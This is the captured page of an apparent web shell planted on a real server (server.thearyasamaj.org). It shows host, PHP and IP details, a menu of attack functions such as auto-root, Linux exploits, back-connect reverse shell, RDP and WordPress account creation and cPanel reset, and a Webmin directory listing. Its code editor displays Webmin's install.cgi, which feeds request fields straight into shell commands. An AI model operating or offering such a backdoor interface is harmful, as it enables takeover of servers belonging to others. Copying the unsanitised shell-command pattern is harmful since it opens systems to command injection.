Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cpan /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.88
KB
-rw-r--r--
cgi_args.pl
124
B
-rwxr-xr-x
config
153
B
-rw-r--r--
config-solaris
202
B
-rw-r--r--
config.info
442
B
-rw-r--r--
config.info.ca
539
B
-rw-r--r--
config.info.cs
494
B
-rw-r--r--
config.info.de
544
B
-rw-r--r--
config.info.es
351
B
-rw-r--r--
config.info.fr
504
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
72
B
-rw-r--r--
config.info.it
517
B
-rw-r--r--
config.info.ja
611
B
-rw-r--r--
config.info.ko
457
B
-rw-r--r--
config.info.ms
473
B
-rw-r--r--
config.info.nl
476
B
-rw-r--r--
config.info.no
459
B
-rw-r--r--
config.info.pl
505
B
-rw-r--r--
config.info.ru
292
B
-rw-r--r--
config.info.sv
76
B
-rw-r--r--
config.info.uk
305
B
-rw-r--r--
config.info.zh
244
B
-rw-r--r--
config.info.zh_TW
224
B
-rw-r--r--
cpan-lib.pl
11.04
KB
-rwxr-xr-x
cpan.cgi
3.36
KB
-rwxr-xr-x
delete_file.cgi
312
B
-rwxr-xr-x
download.cgi
10.56
KB
-rwxr-xr-x
edit_mod.cgi
2.35
KB
-rwxr-xr-x
index.cgi
4.28
KB
-rwxr-xr-x
install.cgi
3.61
KB
-rwxr-xr-x
module.info
160
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
127
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
178
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
185
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
201
B
-rw-r--r--
module.info.ca
124
B
-rw-r--r--
module.info.ca.auto
13
B
-rw-r--r--
module.info.cs
21
B
-rw-r--r--
module.info.cs.auto
122
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
129
B
-rw-r--r--
module.info.de
126
B
-rw-r--r--
module.info.de.auto
13
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
216
B
-rw-r--r--
module.info.es
32
B
-rw-r--r--
module.info.es.auto
104
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
134
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
224
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
114
B
-rw-r--r--
module.info.fr
28
B
-rw-r--r--
module.info.fr.auto
115
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
155
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
134
B
-rw-r--r--
module.info.hu
21
B
-rw-r--r--
module.info.hu.auto
121
B
-rw-r--r--
module.info.it
20
B
-rw-r--r--
module.info.it.auto
107
B
-rw-r--r--
module.info.ja
29
B
-rw-r--r--
module.info.ja.auto
171
B
-rw-r--r--
module.info.ko
20
B
-rw-r--r--
module.info.ko.auto
110
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
140
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
121
B
-rw-r--r--
module.info.ms
109
B
-rw-r--r--
module.info.ms.auto
13
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
126
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.auto
114
B
-rw-r--r--
module.info.no
21
B
-rw-r--r--
module.info.no.auto
109
B
-rw-r--r--
module.info.pl
111
B
-rw-r--r--
module.info.pl.auto
13
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
132
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
141
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
127
B
-rw-r--r--
module.info.ru
26
B
-rw-r--r--
module.info.ru.auto
165
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
149
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
112
B
-rw-r--r--
module.info.sv
21
B
-rw-r--r--
module.info.sv.auto
101
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
226
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
139
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
185
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
214
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
164
B
-rw-r--r--
module.info.zh
20
B
-rw-r--r--
module.info.zh.auto
93
B
-rw-r--r--
module.info.zh_TW
22
B
-rw-r--r--
module.info.zh_TW.auto
99
B
-rw-r--r--
postinstall.pl
239
B
-rwxr-xr-x
uninstall.cgi
1.16
KB
-rwxr-xr-x
uninstall_mods.cgi
1.33
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : install.cgi
#!/usr/bin/perl # install.cgi # Install a downloaded perl module require './cpan-lib.pl'; &ReadParse(); @pfile = split(/\0/, $in{'pfile'}); if ($in{'need'}) { # Some pre-reqs are needed .. return to the download form @cpan = ( split(/\0/, $in{'needreq'}), split(/\0/, $in{'mod'}) ); unlink(@pfile); # will re-get &redirect("download.cgi?source=3&cpan=".&urlize(join(" ", @cpan))); } foreach $pfile (@pfile) { -r $pfile || &error(&text('install_efile', "<tt>$pfile</tt>")); } &ui_print_unbuffered_header(undef, $text{'install_title'}, ""); # Set environment variables for($i=0; defined($in{"name_$i"}); $i++) { if ($in{"name_$i"} ne "") { $ENV{$in{"name_$i"}} = $in{"value_$i"}; } } # Go through all the modules @mods = split(/\0/, $in{'mod'}); @dirs = split(/\0/, $in{'dir'}); $perl_path = &get_perl_path(); for($i=0; $i<@mods; $i++) { print &text('install_doing_'.$in{'act'}, "<tt>$mods[$i]</tt>"),"<p>\n"; # Untar the perl module $mod_dir = &transname($dirs[$i]); ($mod_par = $mod_dir) =~ s/\/[^\/]+$//; system("rm -rf $mod_dir >/dev/null 2>&1"); &show_output($text{'install_untar'}, $mod_par, "gunzip -c $pfile[$i] | tar xvf -"); if (-r "$mod_dir/Makefile.PL") { # Run Makefile.PL and make &show_output($text{'install_make'}, $mod_dir, "$perl_path Makefile.PL $in{'args'} && make") || &build_error(); # Run make test (if requested) if ($in{'act'} == 1 || $in{'act'} == 3) { &show_output($text{'install_test'}, $mod_dir, "make test") || &build_error(); } # Run make install (if requested) if ($in{'act'} == 2 || $in{'act'} == 3) { &show_output($text{'install_install'}, $mod_dir, "make install") || &build_error(); } } else { # Run Build.PL and Build &show_output($text{'install_make'}, $mod_dir, "$perl_path Build.PL $in{'args'} && ./Build") || &build_error(); # Run Build test (if requested) if ($in{'act'} == 1 || $in{'act'} == 3) { &show_output($text{'install_test'}, $mod_dir, "./Build test") || &build_error(); } # Run Build install (if requested) if ($in{'act'} == 2 || $in{'act'} == 3) { &show_output($text{'install_install'}, $mod_dir, "./Build install") || &build_error(); } } # Clean up files print "<p>",&text('install_done_'.$in{'act'}, "<tt>$mods[$i]</tt>"), "<p>\n"; system("rm -rf $mod_dir") if ($mod_dir && -d $mod_dir); } &clean_up(1); # clean_up(success) sub clean_up { system("rm -rf $mod_dir") if ($mod_dir && -d $mod_dir); unlink(@pfile) if ($in{'need_unlink'} && (!$config{'save_partial'} || $_[0])); &ui_print_footer($in{'return'}, $in{'returndesc'} || $text{'index_return'}); } # show_output(desc, dir, command) sub show_output { local (%seen, $endless_loop); print &ui_table_start($_[0], undef, 2); local $msg = "<pre>".&text('install_exec', $_[2])."\n"; $msg .= (" " x 100)."\n"; open(CMD, "(cd $_[1] ; $_[2]) 2>&1 </dev/null |"); while(<CMD>) { if ($seen{$_}++ > 100) { $endless_loop = 1; $msg .= "\n$text{'install_loop'}\n"; last; } while(length($_) > 100) { s/^(.{100})//; $msg .= &html_escape($1)."\n"; } $msg .= &html_escape($_); } close(CMD); $msg .= "</pre>"; print &ui_table_row(undef, $msg, 2); print &ui_table_end(); return $? || $endless_loop ? 0 : 1; } sub build_error { print "<p>",&text('install_err', "<tt>$mods[$i]</tt>"),"<br>\n"; if ($in{'source'} == 3) { print &text('install_err2', "<tt>perl -MCPAN -e shell</tt>"),"\n"; } print "<p>\n"; if ($in{'need_unlink'} && $config{'save_partial'}) { # File needs to be deleted print &text('install_needunlink', "delete_file.cgi?". join("&", map { "file=".&urlize($_) } @pfile)),"<p>\n"; } &clean_up(0); exit; }
Close
